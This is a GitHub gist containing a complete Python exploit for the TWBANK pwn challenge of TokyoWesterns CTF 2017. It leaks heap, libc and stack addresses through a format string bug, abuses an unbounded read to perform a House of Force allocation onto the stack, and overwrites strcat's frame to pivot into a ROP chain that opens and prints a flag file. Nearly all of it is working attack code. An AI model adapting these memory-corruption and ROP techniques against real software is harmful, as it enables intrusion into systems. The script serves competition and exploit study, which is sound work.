Skip to content

Instantly share code, notes, and snippets.

@niklasb
Last active September 4, 2017 09:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save niklasb/85ce3fec31cc58c804a277acc000ed23 to your computer and use it in GitHub Desktop.
Save niklasb/85ce3fec31cc58c804a277acc000ed23 to your computer and use it in GitHub Desktop.
# Exploit for TWBANK from TokyoWesterns CTF 2017. Re-run if asserts fail.
#
# Bugs:
#
# 1. getnline() called with size 0 lets you read unlimited amount of data into
# buffer of size 0
# 2. Format string bug in transfer(), restricted to %s and %d.
from pwnlib.tools import * # https://github.com/niklasb/ctf-tools
import base64
if len(sys.argv) > 1:
s = connect('pwn1.chal.ctf.westerns.tokyo', 35187)
INTERVAL = 1
else:
s = connect('127.0.0.1', 4444)
INTERVAL = 0
p = pack
u = unpack
ru = lambda st: read_until(s, st)
def send(x):
time.sleep(INTERVAL)
s.sendall(x)
ru('name :')
# Place location of a heap pointer on the stack so we can leak it
# with %s
send(p(0x0804a008))
def alloc(sz, dat):
ru('> ')
send('1\n')
ru('amount :')
send('0\n')
ru('size :')
send('%d\n'%sz)
ru('comment :')
send(dat)
# Use format string bug to leak everything interesting
ru('> ')
send('3\n')
ru('amount :')
send('0\n')
ru('ination :')
send('%d '*8 + '%s %d %d %d\n')
ru('> ')
send('4\n')
ru('transfer to [')
leak = ru(']')[:-1].split(' ')
heap = u(leak[8]) - 0x64
libc = int(leak[11]) % 2**32 - 0x4f0
stack = int(leak[0]) % 2**32
stack2 = int(leak[1]) % 2**32
print '[*] heap @ 0x%08x' % heap
print '[*] libc @ 0x%08x' % libc
print '[*] stack @ 0x%08x' % stack
# We want to do House of Force into the stack. Wilderness chunk is at +0x1ac
# in the heap.
target = 0xffffd400 - 0xffffd670 + stack
hof_size = (target - (heap+0x1ac)) % 2**32
# If the remaining size (2**32 - hof_size) is < 32, malloc doesn't link it
# back to the freelist. The check is signed though, so we need to be careful
# that hof_size is large enough.
assert (hof_size & 0x80000000)
# Prepare fake_heap heap with a dump from gdb (dump memory heap <heap> <heap>+436)
fake_heap = base64.b64decode('''
2GCStWAw/fdhY2NvdW50CjEuIERlcG9zaXQKMkEAAADYYJK1YDD99y4gVHJhbnNmZXIKNC4gU2hv
dyB0aGUgbGF0ZXN0IHJlY29yZAowLiBFeGl0Cj4gAEAAAAB4AAAAPDwlcyA6ICVkIHllbj4+Cnx8
IGFtb3VudCAgOiAlZCB5ZW4KfHwgY29tbWVudCA6IHRyYW5zZmVyIHRvIFslZCAlZCAlZCAlZCAl
ZCAlZCAlZCAlZCAlcyAlZCAlZCAlZF0AAAAAAAAAAAAAAAAAAAAAAADVAAAArGGStSBgkrUgMCB5
ZW4+Pgp8fCBhbW91bnQgIDogMCB5ZW4KfHwgY29tbWVudCA6IHRyYW5zZmVyIHRvIFstMTA2NTYg
LTEwNjkyIC0xMDcyOCAxMzQ1MTM5MTYgLTEwODAwIDY0IC0xMDcyOCAxMzQ1MTM5MDIgZGCStSAw
IC0xMzQyMzAwMTYgLTEzNDQxMzA3Ml0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA1AAAAEQOAABgMP332GCStQ==
''')
oldheap = 0xb5926000
oldlibc = 0xf7fd0000
for i in range(0,len(fake_heap),4):
x = u(fake_heap[i:i+4])
if (x - oldheap)%2**32 < 1000:
# Fix heap ptr
fake_heap = fake_heap[:i] + p(x - oldheap + heap) + fake_heap[i+4:]
if (x - oldlibc)%2**32 < 0xf7fd6000-0xf7fd0000:
# Fix libc ptr
fake_heap = fake_heap[:i] + p(x - oldlibc + libc) + fake_heap[i+4:]
# Avoid special character issues (\n, %) by terminating the string immediately
fake_heap = '\n' + fake_heap[1:]
# Wilderness size -> 0xffffffff for HoF
fake_heap = fake_heap.replace(p(0xe44), p(0xffffffff))
rop_loc = heap+0x9bc
print '[*] ROP chain @ 0x%08x' % rop_loc
stackframe = 0xfffa4574-0xfffa4690+stack
# This is what we overwrite the stack with. We are overwriting strcat's own
# stack frame, so we need to fix um some local variables
payload = 'a'*271
payload += p(stackframe) # <- strcat's destination pointer
payload += 'aaaa'
# pivot to region with null bytes
payload += p(libc+0xbda) # <- strcat's return address, pop3 ; pop rbp ; ret
payload += 'XXXX'
payload += p(heap+0x2d7) # <- strcat's source pointer
payload += 'AAAA'
payload += p(rop_loc)
payload += p(libc+0x8d3) # leave ; ret -> stack pivot
payload += 'DDDD'
payload += 'EEEE'
payload += 'a'*(0x800-len(payload))
payload += '\0'*4
# Tweak for different environment
fd = 3
# The final ROP chain (with null bytes)
rop = ''
rop += 'aaaa'
# Print the filename to see that the ROP chain ran
rop += p(libc+0xcc7) # puts
rop += p(libc+0xbdd) # pop ebp
rop += p(rop_loc + 0x80) # filename
rop += p(libc+0xcc7) # puts
rop += p(libc+0xbdd) # pop ebp
rop += p(rop_loc + 0x80) # filename
# Open file and print flag
rop += p(libc+0x14e5) # open
rop += p(libc+0xcc4) # pop2
rop += p(rop_loc + 0x80) # filename
rop += p(0)
rop += p(libc+0x14b5) # read
rop += p(libc+0xbdb) # pop3
rop += p(fd)
rop += p(heap)
rop += p(0x100)
rop += p(libc+0xcc7) # puts
rop += p(libc+0xbdd) # pop1
rop += p(heap)
rop += p(libc+0x149f) # exit
rop += p(0)
rop += p(0)
assert len(rop) <= 0x80
rop += 'x'*(0x80-len(rop))
rop += './flag\0'
rop += 'x'*(0x100-len(rop))
payload += rop
fake_heap += payload
# Overwrite wilderness chunk size and place payload after the
# wilderness onto the heap.
alloc(-1, fake_heap)
print '[*] Sending payload'
# 1. The first allocation in deposit_withdraw will
# return the wilderness chunk, which we forged above to contain our stack
# overwrite payload. getnline exits immediately because of the large size
# (it uses signed comparison), so we keep the uninitialized heap data.
#
# 2. The second allocation inside register_record will allocate ~0x840 bytes,
# which will be served from the stack. Now we strcat into the stack, getting ROP,
# which we pivot to the heap where we have the final stage with null bytes.
alloc(hof_size, '\0')
print s.recv(4096)
print s.recv(4096)
print s.recv(4096)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment